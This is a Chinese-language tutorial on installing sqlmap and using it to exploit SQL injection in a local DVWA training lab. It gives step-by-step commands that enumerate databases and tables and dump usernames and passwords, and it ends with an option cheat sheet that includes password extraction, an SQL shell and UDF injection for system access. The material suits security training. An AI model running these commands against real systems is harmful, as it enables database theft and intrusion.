一 前期准备
1 sqlmap在windows环境下需要python2.7的支持,在python官网下载即可
2 安装python2.7,默认即可。安装完成后需要配置下环境变量。右击计算机->高级系统设置->环境变量,找到系统变量的Path选项,双击,在最后添加;C:\Python27“;”必须要有,如果有其他python,可以删掉。这是我的安装路径。
3 按windows+R,输入cmd打开dos界面,输入python进行测试python是否安装成功。
返回python版本号,安装成功
4 下载sqlmap,可以到我的百度云下载:http://pan.baidu.com/s/1skPClzR 密码:ndpj。
解压后,改名为sqlmap,放到磁盘中
5 打开cmd,切换到sqlmap对应磁盘
6 至此,sqlmap安装完毕
二 开始爆库
1 将dvwa安全级别设置为low,采用的是cookie注入。点击sql注入,使用burpsuite抓包拿cookie
2 url和cookie都需要使用,打开刚才开的cmd,键入
Sqlmap.py -u “http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie “security=low; PHPSESSID=skpm1rrqt637a4m1kukjnjkkr1” --risk 3 --level 5 ,中途出现选择项直接回车
3 明显看到有mysql数据库,先将数据库显示出来sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie "security=low; PHPSESSID=skpm1rrqt637a4m1kukjnjkkr1" --dbs
4 可以看到有几个数据库,然后选择dvwa数据库,列表名
sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie "security=low; PHPSESSID=skpm1rrqt637a4m1kukjnjkkr1" -D dvwa --tables
5 出现两个表名,肯定有用的是users表名,然后暴列名
sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie "security=low; PHPSESSID=skpm1rrqt637a4m1kukjnjkkr1" -D dvwa -T users --columns
6 看到了很多列名,最有用的当然是用户和密码了,导出用户和密码
sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie "security=low; PHPSESSID=skpm1rrqt637a4m1kukjnjkkr1" -D dvwa -T users -C user,password,user_id --dump
7 好了至此完毕,接下来是sqlmap的命令解释大全
-u #注入点
-g 谷歌搜索
-f #指纹判别数据库类型
-b #获取数据库版本信息
-p #指定可测试的参数(?page=1&id=2 -p “page,id”)
-D “” #指定数据库名
-T “” #指定表名
-C “” #指定字段
-s “” #保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s “xx.log” 恢复:-s “xx.log” –resume)
–columns #列出字段
–current-user #获取当前用户名称
–current-db #获取当前数据库名称
–users #列数据库所有用户
–passwords #数据库用户所有密码
–privileges #查看用户权限(–privileges -U root)
-U #指定数据库用户
–dbs #列出所有数据库
–tables -D “” #列出指定数据库中的表
–columns -T “user” -D “mysql” #列出mysql数据库中的user表的所有字段
–dump-all #列出所有数据库所有表
–exclude-sysdbs #只列出用户自己新建的数据库和表
–dump -T “” -D “” -C “” #列出指定数据库的表的字段的数据(–dump -T users -D master -C surname)
–dump -T “” -D “” –start 2 –top 4 # 列出指定数据库的表的2-4字段的数据
–dbms #指定数据库(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB)
–os #指定系统(Linux,Windows)
--sql -shell 写shell
--delay 延迟的时间
--safe-freq 次数
-v #详细的等级(0-6)
0:只显示Python的回溯,错误和关键消息。
1:显示信息和警告消息。
2:显示调试消息。
3:有效载荷注入。
4:显示HTTP请求。
5:显示HTTP响应头。
6:显示HTTP响应页面的内容
–privileges #查看权限
–is-dba #是否是数据库管理员
–roles #枚举数据库用户角色
–udf-inject #导入用户自定义函数(获取系统权限)
–union-check #是否支持union 注入
–union-cols #union 查询表记录
–union-test #union 语句测试
–union-use #采用union 注入
–union-tech orderby #union配合order by